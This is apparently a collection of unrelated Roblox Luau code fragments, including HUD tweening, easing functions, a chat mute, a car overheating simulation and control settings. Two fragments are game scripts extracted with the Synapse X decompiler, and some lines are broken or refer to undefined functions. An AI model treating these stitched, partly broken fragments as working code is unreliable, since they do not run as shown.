Gameplay.Camera = workspace.CurrentCamera
Gameplay.HUDPositions = {}
Gameplay.HUD_ENABLED = true
function Gameplay:UpdateHUDPositions()
local hud_elements = References.HUD:GetChildren()
for i=1,#hud_elements do
local hud_element = hud_elements[i]
if hud_element:IsA("GuiObject") then
Gameplay.HUDPositions[hud_element] = {}
Gameplay.HUDPositions[hud_element].Show = hud_element.Position
local axis = {X=0,Y=0}
local hidden = {}
for a in pairs(axis) do
hidden[a] = {Offset = 0; Scale = 0;};
if hud_element.Position[a].Scale <= .25 then
hidden[a].Scale = 0;
hidden[a].Offset = -(hud_element.AbsoluteSize.X*2)
--hidden_x_scale = -.5
elseif hud_element.Position[a].Scale > .25 and hud_element.Position[a].Scale < .75 then
hidden[a].Scale = hud_element.Position[a].Scale
hidden[a].Offset = hud_element.Position[a].Offset
-- hidden_x_scale = hud_element.Position[a].Scale
else
hidden[a].Scale = 0;
hidden[a].Offset = References.HUD.AbsoluteSize.X + (hud_element.AbsoluteSize.X*2)
--hidden_x_scale = 1.5
end
end
Gameplay.HUDPositions[hud_element].Hide = UDim2.new(hidden.X.Scale,hidden.X.Offset,hidden.Y.Scale,hidden.Y.Offset)
end
end
end
Gameplay:UpdateHUDPositions()
References.HUD:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
if Gameplay.HUD_ENABLED then
Gameplay:UpdateHUDPositions()
end
end)
function Gameplay:TweenHUD(on_off)
local desc = References.HUD:GetChildren()
for i=1,#desc do
local d = desc[i]
if d:IsA("GuiObject") then
local positions = self.HUDPositions[d]
if positions then
d:TweenPosition(on_off and positions.Show or positions.Hide, "Out", "Quint", 1, true)
end
end
end
end
function Gameplay:ToggleHUD(on_off)
if on_off then
self:SetDefaultCore()
else
Services.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
end
self:TweenHUD(on_off)
self.HUD_ENABLED = on_off
end
-- sets all of our preferred core ui settings (topbar stuff, coreguitypes, etc)
function Gameplay:SetDefaultCore()
References.PlayerGui:SetTopbarTransparency(1)
Services.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
Services.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true)
Services.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, true)
Services.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true)
--Services.StarterGui:SetCore("ResetButtonCallback",false)
Player.Player.CameraMaxZoomDistance = 65;
end
Gameplay:SetDefaultCore()
return Gameplay
|
--- Returns the text bounds size based on given text, label (from which properties will be pulled), and optional Vector2 container size.
|
function Util.GetTextSize(text, label, size)
return TextService:GetTextSize(text, label.TextSize, label.Font, size or Vector2.new(label.AbsoluteSize.X, 0))
end
|
-- End of YellowTide's functions
|
local function InQuad(t, b, c, d)
t = t / d
return c * t * t + b
end
local function OutQuad(t, b, c, d)
t = t / d
return -c * t * (t - 2) + b
end
local function InOutQuad(t, b, c, d)
t = t / d * 2
return t < 1 and c * 0.5 * t * t + b or -c * 0.5 * ((t - 1) * (t - 3) - 1) + b
end
local function OutInQuad(t, b, c, d)
if t < d * 0.5 then
t = 2 * t / d
return -0.5 * c * t * (t - 2) + b
else
t, c = ((t * 2) - d) / d, 0.5 * c
return c * t * t + b + c
end
end
local function InCubic(t, b, c, d)
t = t / d
return c * t * t * t + b
end
local function OutCubic(t, b, c, d)
t = t / d - 1
return c * (t * t * t + 1) + b
end
local function InOutCubic(t, b, c, d)
t = t / d * 2
if t < 1 then
return c * 0.5 * t * t * t + b
else
t = t - 2
return c * 0.5 * (t * t * t + 2) + b
end
end
local function OutInCubic(t, b, c, d)
if t < d * 0.5 then
t = t * 2 / d - 1
return c * 0.5 * (t * t * t + 1) + b
else
t, c = ((t * 2) - d) / d, c * 0.5
return c * t * t * t + b + c
end
end
local function InQuart(t, b, c, d)
t = t / d
return c * t * t * t * t + b
end
local function OutQuart(t, b, c, d)
t = t / d - 1
return -c * (t * t * t * t - 1) + b
end
local function InOutQuart(t, b, c, d)
t = t / d * 2
if t < 1 then
return c * 0.5 * t * t * t * t + b
else
t = t - 2
return -c * 0.5 * (t * t * t * t - 2) + b
end
end
local function OutInQuart(t, b, c, d)
if t < d * 0.5 then
t, c = t * 2 / d - 1, c * 0.5
return -c * (t * t * t * t - 1) + b
else
t, c = ((t * 2) - d) / d, c * 0.5
return c * t * t * t * t + b + c
end
end
local function InQuint(t, b, c, d)
t = t / d
return c * t * t * t * t * t + b
end
local function OutQuint(t, b, c, d)
t = t / d - 1
return c * (t * t * t * t * t + 1) + b
end
local function InOutQuint(t, b, c, d)
t = t / d * 2
if t < 1 then
return c * 0.5 * t * t * t * t * t + b
else
t = t - 2
return c * 0.5 * (t * t * t * t * t + 2) + b
end
end
local function OutInQuint(t, b, c, d)
if t < d * 0.5 then
t = t * 2 / d - 1
return c * 0.5 * (t * t * t * t * t + 1) + b
else
t, c = ((t * 2) - d) / d, c * 0.5
return c * t * t * t * t * t + b + c
end
end
local function InSine(t, b, c, d)
return -c * cos(t / d * 1.5707963267948965579989817342720925807952880859375) + c + b
end
local function OutSine(t, b, c, d)
return c * sin(t / d * 1.5707963267948965579989817342720925807952880859375) + b
end
local function InOutSine(t, b, c, d)
return -c * 0.5 * (cos(3.14159265358979311599796346854418516159057617187 * t / d) - 1) + b
end
local function OutInSine(t, b, c, d)
c = c * 0.5
return t < d * 0.5 and c * sin(t * 2 / d * 1.5707963267948965579989817342720925807952880859375) + b or -c * cos(((t * 2) - d) / d * 1.5707963267948965579989817342720925807952880859375) + 2 * c + b
end
local function InExpo(t, b, c, d)
return t == 0 and b or c * 2 ^ (10 * (t / d - 1)) + b - c * 0.001
end
local function OutExpo(t, b, c, d)
return t == d and b + c or c * 1.001 * (1 - 2 ^ (-10 * t / d)) + b
end
local function InOutExpo(t, b, c, d)
t = t / d * 2
return t == 0 and b or t == 2 and b + c or t < 1 and c * 0.5 * 2 ^ (10 * (t - 1)) + b - c * 0.0005 or c * 0.5 * 1.0005 * (2 - 2 ^ (-10 * (t - 1))) + b
end
local function OutInExpo(t, b, c, d)
c = c * 0.5
return t < d * 0.5 and (t * 2 == d and b + c or c * 1.001 * (1 - 2 ^ (-20 * t / d)) + b) or t * 2 - d == 0 and b + c or c * 2 ^ (10 * ((t * 2 - d) / d - 1)) + b + c - c * 0.001
end
local function InCirc(t, b, c, d)
t = t / d
return -c * ((1 - t * t) ^ 0.5 - 1) + b
end
local function OutCirc(t, b, c, d)
t = t / d - 1
return c * (1 - t * t) ^ 0.5 + b
end
local function InOutCirc(t, b, c, d)
t = t / d * 2
if t < 1 then
return -c * 0.5 * ((1 - t * t) ^ 0.5 - 1) + b
else
t = t - 2
return c * 0.5 * ((1 - t * t) ^ 0.5 + 1) + b
end
end
local function OutInCirc(t, b, c, d)
c = c * 0.5
if t < d * 0.5 then
t = t * 2 / d - 1
return c * (1 - t * t) ^ 0.5 + b
else
t = (t * 2 - d) / d
return -c * ((1 - t * t) ^ 0.5 - 1) + b + c
end
end
local function InElastic(t, b, c, d, a, p)
t = t / d - 1
p = p or d * 0.3
return t == -1 and b or t == 0 and b + c or (not a or a < (c >= 0 and c or 0 - c)) and -(c * 2 ^ (10 * t) * sin((t * d - p * 0.25) * 6.28318530717958623199592693708837032318115234375 / p)) + b or -(a * 2 ^ (10 * t) * sin((t * d - p / 6.28318530717958623199592693708837032318115234375 * asin(c / a)) * 6.28318530717958623199592693708837032318115234375 / p)) + b
end
local function OutElastic(t, b, c, d, a, p)
t = t / d
p = p or d * 0.3
return t == 0 and b or t == 1 and b + c or (not a or a < (c >= 0 and c or 0 - c)) and c * 2 ^ (-10 * t) * sin((t * d - p * 0.25) * 6.28318530717958623199592693708837032318115234375 / p) + c + b or a * 2 ^ (-10 * t) * sin((t * d - p / 6.28318530717958623199592693708837032318115234375 * asin(c / a)) * 6.28318530717958623199592693708837032318115234375 / p) + c + b
end
local function InOutElastic(t, b, c, d, a, p)
if t == 0 then
return b
end
t = t / d * 2 - 1
if t == 1 then
return b + c
end
p = p or d * 0.45
a = a or 0
local s
if not a or a < (c >= 0 and c or 0 - c) then
a = c
s = p * 0.25
else
s = p / 6.28318530717958623199592693708837032318115234375 * asin(c / a)
end
if t < 1 then
return -0.5 * a * 2 ^ (10 * t) * sin((t * d - s) * 6.28318530717958623199592693708837032318115234375 / p) + b
else
return a * 2 ^ (-10 * t) * sin((t * d - s) * 6.28318530717958623199592693708837032318115234375 / p ) * 0.5 + c + b
end
end
local function OutInElastic(t, b, c, d, a, p)
if t < d * 0.5 then
return OutElastic(t * 2, b, c * 0.5, d, a, p)
else
return InElastic(t * 2 - d, b + c * 0.5, c * 0.5, d, a, p)
end
end
local function InBack(t, b, c, d, s)
s = s or 1.70158
t = t / d
return c * t * t * ((s + 1) * t - s) + b
end
local function OutBack(t, b, c, d, s)
s = s or 1.70158
t = t / d - 1
return c * (t * t * ((s + 1) * t + s) + 1) + b
end
local function InOutBack(t, b, c, d, s)
s = (s or 1.70158) * 1.525
t = t / d * 2
if t < 1 then
return c * 0.5 * (t * t * ((s + 1) * t - s)) + b
else
t = t - 2
return c * 0.5 * (t * t * ((s + 1) * t + s) + 2) + b
end
end
local function OutInBack(t, b, c, d, s)
c = c * 0.5
s = s or 1.70158
if t < d * 0.5 then
t = (t * 2) / d - 1
return c * (t * t * ((s + 1) * t + s) + 1) + b
else
t = ((t * 2) - d) / d
return c * t * t * ((s + 1) * t - s) + b + c
end
end
local function OutBounce(t, b, c, d)
t = t / d
if t < 1 / 2.75 then
return c * (7.5625 * t * t) + b
elseif t < 2 / 2.75 then
t = t - (1.5 / 2.75)
return c * (7.5625 * t * t + 0.75) + b
elseif t < 2.5 / 2.75 then
t = t - (2.25 / 2.75)
return c * (7.5625 * t * t + 0.9375) + b
else
t = t - (2.625 / 2.75)
return c * (7.5625 * t * t + 0.984375) + b
end
end
local function InBounce(t, b, c, d)
return c - OutBounce(d - t, 0, c, d) + b
end
local function InOutBounce(t, b, c, d)
if t < d * 0.5 then
return InBounce(t * 2, 0, c, d) * 0.5 + b
else
return OutBounce(t * 2 - d, 0, c, d) * 0.5 + c * 0.5 + b
end
end
local function OutInBounce(t, b, c, d)
if t < d * 0.5 then
return OutBounce(t * 2, b, c * 0.5, d)
else
return InBounce(t * 2 - d, b + c * 0.5, c * 0.5, d)
end
end
return {
[Enum.EasingDirection.In.Name] = {
[Enum.EasingStyle.Linear.Name] = Linear;
[Enum.EasingStyle.Sine.Name] = InSine;
[Enum.EasingStyle.Back.Name] = InBack;
[Enum.EasingStyle.Quad.Name] = InQuad;
[Enum.EasingStyle.Quart.Name] = InQuart;
[Enum.EasingStyle.Quint.Name] = InQuint;
[Enum.EasingStyle.Bounce.Name] = InBounce;
[Enum.EasingStyle.Elastic.Name] = InElastic;
Smooth = Smooth;
Smoother = Smoother;
RevBack = RevBack;
RidiculousWiggle = RidiculousWiggle;
Spring = Spring;
SoftSpring = SoftSpring;
Expo = InExpo;
Cubic = InCubic;
Circ = InCirc;
};
[Enum.EasingDirection.Out.Name] = {
[Enum.EasingStyle.Linear.Name] = Linear;
[Enum.EasingStyle.Sine.Name] = OutSine;
[Enum.EasingStyle.Back.Name] = OutBack;
[Enum.EasingStyle.Quad.Name] = OutQuad;
[Enum.EasingStyle.Quart.Name] = OutQuart;
[Enum.EasingStyle.Quint.Name] = OutQuint;
[Enum.EasingStyle.Bounce.Name] = OutBounce;
[Enum.EasingStyle.Elastic.Name] = OutElastic;
Smooth = Smooth;
Smoother = Smoother;
RevBack = RevBack;
RidiculousWiggle = RidiculousWiggle;
Spring = Spring;
SoftSpring = SoftSpring;
Expo = OutExpo;
Cubic = OutCubic;
Circ = OutCirc;
};
[Enum.EasingDirection.InOut.Name] = {
[Enum.EasingStyle.Linear.Name] = Linear;
[Enum.EasingStyle.Sine.Name] = InOutSine;
[Enum.EasingStyle.Back.Name] = InOutBack;
[Enum.EasingStyle.Quad.Name] = InOutQuad;
[Enum.EasingStyle.Quart.Name] = InOutQuart;
[Enum.EasingStyle.Quint.Name] = InOutQuint;
[Enum.EasingStyle.Bounce.Name] = InOutBounce;
[Enum.EasingStyle.Elastic.Name] = InOutElastic;
Smooth = Smooth;
Smoother = Smoother;
RevBack = RevBack;
RidiculousWiggle = RidiculousWiggle;
Spring = Spring;
SoftSpring = SoftSpring;
Expo = InOutExpo;
Cubic = InOutCubic;
Circ = InOutCirc;
};
OutIn = {
[Enum.EasingStyle.Linear.Name] = Linear;
[Enum.EasingStyle.Sine.Name] = OutInSine;
[Enum.EasingStyle.Back.Name] = OutInBack;
[Enum.EasingStyle.Quad.Name] = OutInQuad;
[Enum.EasingStyle.Quart.Name] = OutInQuart;
[Enum.EasingStyle.Quint.Name] = OutInQuint;
[Enum.EasingStyle.Bounce.Name] = OutInBounce;
[Enum.EasingStyle.Elastic.Name] = OutInElastic;
Smooth = Smooth;
Smoother = Smoother;
RevBack = RevBack;
RidiculousWiggle = RidiculousWiggle;
Spring = Spring;
SoftSpring = SoftSpring;
Expo = OutInExpo;
Cubic = OutInCubic;
Circ = OutInCirc;
};
}
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__PlayerGui__2 = l__LocalPlayer__1.PlayerGui;
local l__Character__3 = l__LocalPlayer__1.Character;
local l__Humanoid__4 = l__Character__3:WaitForChild("Humanoid");
local l__Infected__5 = l__Character__3:WaitForChild("Infected");
while true do
wait();
script.Parent.HP.SoundId = l__PlayerGui__2:WaitForChild("Music").Music.Value;
if l__Humanoid__4.Health <= 30 and l__Character__3.Human.Value == true then
l__PlayerGui__2.Hurt.Enabled = true;
workspace.CurrentCamera.FieldOfView = 60;
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + 1;
wait(0.3);
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView - 1;
end;
if l__Humanoid__4.Health <= 45 and l__Character__3.Human.Value == true then
l__PlayerGui__2.Hurt.Enabled = true;
workspace.CurrentCamera.FieldOfView = 60;
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + 1;
wait(0.5);
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView - 1;
end;
if l__Humanoid__4.Health >= 45 and l__Character__3.Human.Value == true then
l__PlayerGui__2.Hurt.Enabled = false;
workspace.CurrentCamera.FieldOfView = 70;
end;
end;
|
-- Make sure the script is in the starterpack
|
Player = game.Players.LocalPlayer
MuteTime = 10 -- Put the time you want them to be muted in seconds here
ChatTime = 0 -- Dont change that
Player.Chatted:connect(function()
if ChatTime < 0.5 then
game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
wait(MuteTime)
game:GetService("StarterGui"):SetCoreGuiEnabled(3,true)
end
ChatTime = 0
end)
while wait(0.1) do
ChatTime = ChatTime +0.1
end
|
--Connect any players that are added to the game to above 'NewPlayer' function
|
Players.PlayerAdded:connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
--Run on every part that is added to the character
local function ChangeGroup(Part)
if Part:IsA("BasePart") then --Make sure we're dealing with any type of part
PhysicsService:SetPartCollisionGroup(Part, "RaceCars") --Set the part's collision group
end
end
--Run above function on any parts that are added to the character from this point
Character.ChildAdded:Connect(ChangeGroup)
script.Parent.ChildAdded:Connect(ChangeGroup)
--Run above function on any parts that may already exist
for _, Object in pairs(Character:GetChildren()) do
ChangeGroup(Object)
end
end)
end)
|
--[[
Begins a Promise chain, turning synchronous errors into rejections.
]]
|
function Promise.try(...)
return Promise._try(debug.traceback(nil, 2), ...)
end
|
-- ROBLOX deviation: we do not have the BabelTraverse or Prettier types defined in the
-- types file
|
type SnapshotData = types.SnapshotData
type SnapshotStateOptions = {
updateSnapshot: ConfigSnapshotUpdateState,
-- ROBLOX deviation: the function return is defined as any instead of null | Prettier
-- prettierPath: ConfigPath;
expand: boolean?,
snapshotFormat: PrettyFormatOptions,
}
type SnapshotMatchOptions = {
testName: string,
received: any?,
key: string?,
inlineSnapshot: string?,
isInline: boolean,
-- ROBLOX deviation: error type defined as any instead of Error
error_: any,
}
type SnapshotReturnOptions = {
actual: string,
count: number,
expected: string?,
key: string,
pass: boolean,
}
type SaveStatus = {
deleted: boolean,
saved: boolean,
}
type SnapshotState = {
_counters: { [string]: number },
_dirty: boolean,
_index: number,
_updateSnapshot: ConfigSnapshotUpdateState,
_snapshotData: SnapshotData,
_initialData: SnapshotData,
_snapshotPath: ConfigPath,
-- ROBLOX TODO: ADO-1552 align this type as Array<InlineSnapshot> when we support inlineSnapshot testing
_inlineSnapshots: { any },
-- ROBLOX deviation: defined as any for now because LuauPolyfill.Set<string> and Set.Set<string>
-- both didn't seem to be working
_uncheckedKeys: any,
-- _uncheckedKeys: LuauPolyfill.Set<string>,
-- ROBLOX deviation: omitting field _prettierPath
-- _prettierPath: ConfigPath;
_snapshotFormat: PrettyFormatOptions,
added: number,
expand: boolean,
matched: number,
unmatched: number,
updated: number,
_addSnapshot: (
self: SnapshotState,
key: string,
receivedSerialized: string,
options: { isInline: boolean, error: Error? }
) -> (),
}
local SnapshotState = {}
SnapshotState.__index = SnapshotState
function SnapshotState.new(snapshotPath: ConfigPath, options: SnapshotStateOptions): SnapshotState
local returnValue = getSnapshotData(snapshotPath, options.updateSnapshot)
local data = returnValue.data
local dirty = returnValue.dirty
local self = {
_snapshotPath = snapshotPath,
_initialData = data,
_snapshotData = data,
_dirty = dirty,
-- ROBLOX deviation: omitting assignment for getBabelTraverse, getPrettier
_inlineSnapshots = {},
_uncheckedKeys = Set.new(Object.keys(data)),
_counters = {},
_index = 0,
expand = options.expand or false,
added = 0,
matched = 0,
unmatched = 0,
_updateSnapshot = options.updateSnapshot,
updated = 0,
_snapshotFormat = options.snapshotFormat,
}
return (setmetatable(self, SnapshotState) :: any) :: SnapshotState
end
function SnapshotState:markSnapshotsAsCheckedForTest(testName: string): ()
for index, uncheckedKey in self._uncheckedKeys:ipairs() do
if keyToTestName(uncheckedKey) == testName then
self._uncheckedKeys:delete(uncheckedKey)
end
end
end
|
--[[Hunger.Changed:Connect(function(lost)
print("Player has lost "..lost - 100 * 1 .." Hunger Points")
end)]]
| |
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
return require(PackageIndex["Roact-e3b370a8-41af74df"].Packages["Roact"])
|
--easter egg
|
mouse.KeyDown:connect(function(key)
if key=="o" then
Heat = BlowupTemp-11
end
end)
if not FE then
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
car.DriveSeat.Blown.Value = false
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
radiator.Fan.Volume = FanVolume
else
FanCool = 0
radiator.Fan.Volume = 0
end
Load = ((script.Parent.Values.Throttle.Value*script.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
radiator.Break:Play()
radiator.Liquid.Volume = .5
radiator.Oil.Enabled = true
radiator.Antifreeze.Enabled = true
script.Parent.IsOn.Value = false
car.DriveSeat.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
radiator.Smoke.Enabled = true
radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
else
radiator.Smoke.Enabled = false
radiator.Steam.Volume = 0
end
car.DriveSeat.Celsius.Value = Heat
end
else
handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
handler:FireServer("FanVolume",FanVolume)
else
FanCool = 0
handler:FireServer("FanVolume",0)
end
Load = ((script.Parent.Values.Throttle.Value*script.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
handler:FireServer("Blown")
script.Parent.IsOn.Value = false
car.DriveSeat.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
handler:FireServer("Smoke",true,BlowupTemp,Heat)
else
handler:FireServer("Smoke",false,BlowupTemp,Heat)
end
car.DriveSeat.Celsius.Value = Heat
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local v3 = require(script.Parent);
local v4 = game["Run Service"];
local l__TweenService__5 = game:GetService("TweenService");
local l__UserInputService__6 = game:GetService("UserInputService");
local l__GuiService__7 = game:GetService("GuiService");
local l__MarketplaceService__8 = game:GetService("MarketplaceService");
local l__Parent__9 = script.Parent.Parent.Parent;
local l__SideButtons__10 = l__Parent__9:WaitForChild("LobbyFrame"):WaitForChild("SideButtons");
local l__Shop__11 = l__Parent__9:WaitForChild("LobbyFrame"):WaitForChild("Shop");
local l__Achievements__12 = l__Parent__9:WaitForChild("LobbyFrame"):WaitForChild("Achievements");
local v13 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
local v14 = require(game:GetService("ReplicatedStorage"):WaitForChild("Achievements"));
local v15 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetProductPrice"));
local v16 = require(game:GetService("ReplicatedStorage"):WaitForChild("Products"));
while true do
wait(0.5);
if l__Parent__9.LobbyFrame.WarningScreen.Visible == false then
break;
end;
end;
l__SideButtons__10.Visible = true;
l__SideButtons__10:TweenPosition(UDim2.new(0, 0, 0.5, 50), "Out", "Quad", 1, true);
local u1 = l__UserInputService__6.GamepadEnabled;
function update()
if u1 then
if l__Shop__11.Visible then
l__GuiService__7.SelectedObject = l__Shop__11.Frame.Products.Boost;
elseif l__Achievements__12.Visible then
l__GuiService__7.SelectedObject = l__Achievements__12.Frame;
else
l__GuiService__7.SelectedObject = nil;
end;
else
l__GuiService__7.SelectedObject = nil;
end;
if l__Achievements__12.Visible then
return;
end;
if l__Shop__11.Visible then
if v13.data then
if v13.data.PaidInKnobs then
if 2400 <= v13.data.PaidInKnobs then
l__Shop__11.Frame.Products.Frame[1].Visible = false;
l__Shop__11.Frame.Products.Frame[2].Visible = false;
l__Shop__11.Frame.Products.Frame[3].Visible = false;
l__Shop__11.Frame.Products.Frame[4].Visible = false;
l__Shop__11.Frame.Products.Frame[5].Visible = true;
l__Shop__11.Frame.Products.Frame[6].Visible = true;
l__Shop__11.Frame.Products.Frame[7].Visible = true;
l__Shop__11.Frame.Products.Frame.Back.Visible = true;
end;
end;
end;
end;
end;
l__SideButtons__10.ButtonShop.MouseButton1Down:Connect(function()
l__Shop__11.Visible = not l__Shop__11.Visible;
l__Achievements__12.Visible = false;
update();
end);
l__SideButtons__10.ButtonAchievements.MouseButton1Down:Connect(function()
l__Achievements__12.Visible = not l__Achievements__12.Visible;
l__Shop__11.Visible = false;
update();
end);
l__Shop__11.CloseButton.MouseButton1Down:Connect(function()
l__Shop__11.Visible = false;
update();
end);
l__Shop__11:WaitForChild("Code").Confirm.MouseButton1Down:Connect(function()
game.ReplicatedStorage.Bricks.ShopCode:FireServer(l__Shop__11.Code.Text);
end);
l__Shop__11:WaitForChild("Code").ReturnPressedFromOnScreenKeyboard:Connect(function()
game.ReplicatedStorage.Bricks.ShopCode:FireServer(l__Shop__11.Code.Text);
end);
l__Shop__11:WaitForChild("Code").FocusLost:Connect(function()
game.ReplicatedStorage.Bricks.ShopCode:FireServer(l__Shop__11.Code.Text);
end);
l__Achievements__12.CloseButton.MouseButton1Down:Connect(function()
l__Achievements__12.Visible = false;
update();
end);
for v17, v18 in l__Shop__11() do
if v18:IsA("TextButton") then
if v18:GetAttribute("ProductID") ~= nil and (v18.Visible or v18:GetAttribute("DoAnyway")) then
v18.Price.Text = v15(v18:GetAttribute("ProductID"));
v18.MouseButton1Down:Connect(function()
l__MarketplaceService__8:PromptProductPurchase(l__LocalPlayer__2, v18:GetAttribute("ProductID"));
end);
elseif v18:GetAttribute("BuyPremium") then
v18.MouseButton1Down:Connect(function()
l__MarketplaceService__8:PromptPremiumPurchase(l__LocalPlayer__2);
end);
pcall(function()
if l__LocalPlayer__2.MembershipType == Enum.MembershipType.Premium then
v18.Visible = false;
end;
end);
elseif v18:GetAttribute("GoBack") then
l__Shop__11.Frame.Products.Frame[1].Visible = true;
l__Shop__11.Frame.Products.Frame[2].Visible = true;
l__Shop__11.Frame.Products.Frame[3].Visible = true;
l__Shop__11.Frame.Products.Frame[4].Visible = true;
l__Shop__11.Frame.Products.Frame[5].Visible = false;
l__Shop__11.Frame.Products.Frame[6].Visible = false;
l__Shop__11.Frame.Products.Frame[7].Visible = false;
l__Shop__11.Frame.Products.Frame.Back.Visible = false;
end;
end;
end;
l__UserInputService__6.InputBegan:Connect(function(p1, p2)
if p2 then
return;
end;
if p1.KeyCode == Enum.KeyCode.ButtonB then
l__Shop__11.Visible = false;
l__Achievements__12.Visible = false;
update();
return;
end;
if p1.KeyCode == Enum.KeyCode.ButtonX then
if not l__GuiService__7.SelectedObject then
l__GuiService__7.SelectedObject = l__SideButtons__10.ButtonShop;
return;
end;
else
return;
end;
l__Shop__11.Visible = false;
l__Achievements__12.Visible = false;
l__GuiService__7.SelectedObject = nil;
end);
local function v19()
u1 = l__UserInputService__6.GamepadEnabled;
for v20, v21 in pairs(game:GetService("CollectionService"):GetTagged("XBox")) do
v21.Visible = u1;
end;
end;
l__UserInputService__6.GamepadConnected:Connect(v19);
l__UserInputService__6.GamepadDisconnected:Connect(v19);
u1 = l__UserInputService__6.GamepadEnabled;
for v22, v23 in pairs(game:GetService("CollectionService"):GetTagged("XBox")) do
v23.Visible = u1;
end;
while true do
wait(1);
if v13.data then
break;
end;
end;
for v24, v25 in pairs(l__Achievements__12.List:GetChildren()) do
if v25:IsA("ImageButton") and v25.Visible then
v25:Destroy();
end;
end;
if v13.data then
local v26, v27, v28 = pairs(v14);
while true do
local v29, v30 = v26(v27, v28);
if not v29 then
break;
end;
local v31 = v30:GetInfo();
local v32 = l__Achievements__12.List.Badge:Clone();
for v33, v34 in pairs(v31) do
v32:SetAttribute(v33, v34);
end;
v32.Image = v31.Image;
v32.Name = "Achievement" .. v31.Name;
v32.Parent = l__Achievements__12.List;
v32.LayoutOrder = 1000 + v31.Category;
v32.Visible = true;
if table.find(v13.data.Achievements, v31.Name) then
v32.ImageColor3 = Color3.new(1, 1, 1);
v32.ImageTransparency = 0;
v32.LayoutOrder = v32.LayoutOrder - 1000;
v32.UIStroke.Enabled = false;
v31.Hidden = -1;
end;
local function v35()
l__Achievements__12.Frame.Title.Text = v31.Hidden < 3 and v31.Title or "Locked Achievement";
l__Achievements__12.Frame.Desc.Text = v31.Hidden < 2 and v31.Desc or "Unlock this achievement to view its description!";
l__Achievements__12.Frame.Reason.Text = v31.Hidden < 1 and v31.Reason or "";
l__Achievements__12.Frame.ImageLabel.Image = v31.Image;
l__Achievements__12.Frame.Visible = true;
end;
v32.MouseButton1Down:Connect(v35);
v32.SelectionGained:Connect(v35);
end;
end;
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Base.Paladin.Obtained.Value == true
end
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.W ,
Brake = Enum.KeyCode.S ,
SteerLeft = Enum.KeyCode.A ,
SteerRight = Enum.KeyCode.D ,
--Secondary Controls
Throttle2 = Enum.KeyCode.B ,
Brake2 = Enum.KeyCode.N ,
SteerLeft2 = Enum.KeyCode.M ,
SteerRight2 = Enum.KeyCode.V ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftControl ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
